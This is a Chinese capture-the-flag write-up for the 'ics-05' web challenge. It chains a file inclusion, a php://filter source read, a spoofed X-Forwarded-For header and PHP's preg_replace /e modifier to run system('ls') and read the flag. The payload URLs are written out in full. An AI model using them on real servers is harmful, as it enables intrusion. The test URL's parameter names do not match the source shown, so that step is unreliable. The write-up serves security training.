ics-05
-
题目描述
其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
-
解题步骤
-
用dirsearch和御剑扫了一下,只有
index.php,尝试了一边,也只有index.php,也就是设备维护中心可以进 -
访问index,显示
数据接口请求异常,通过network看到ajax404 -
看这页面干干净净啥都没有,挨着点一下,看有没有隐藏功能点,颠倒左上角的
设备维护中心的时候,页面刷新了,注意到url发生了变化从
/index.php到
/index.php?page=index,同时在页面中显示出了index字符
推测是文件包含
-
访问
?page=index.php,页面出现Ok字符
-
尝试用伪协议进行编码
?page=php://filter/read=convert.base64-encode/resource=index.php返回了源码,下面是关键部分
<?php if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?>preg_replace函数有个特性,e模式下,当subject中有pattern匹配的字符串时,会把replacement当作代码执行测试 :
?pattern=/asd/e&replacement=system('ls')&subject=asd
-
ls发现flag目录
/s3chahahaDir/flag/flag.php -
用伪协议读取
?page=php://filter/read=convert.base64-encode/resource=s3chahahaDir/flag/flag.php
-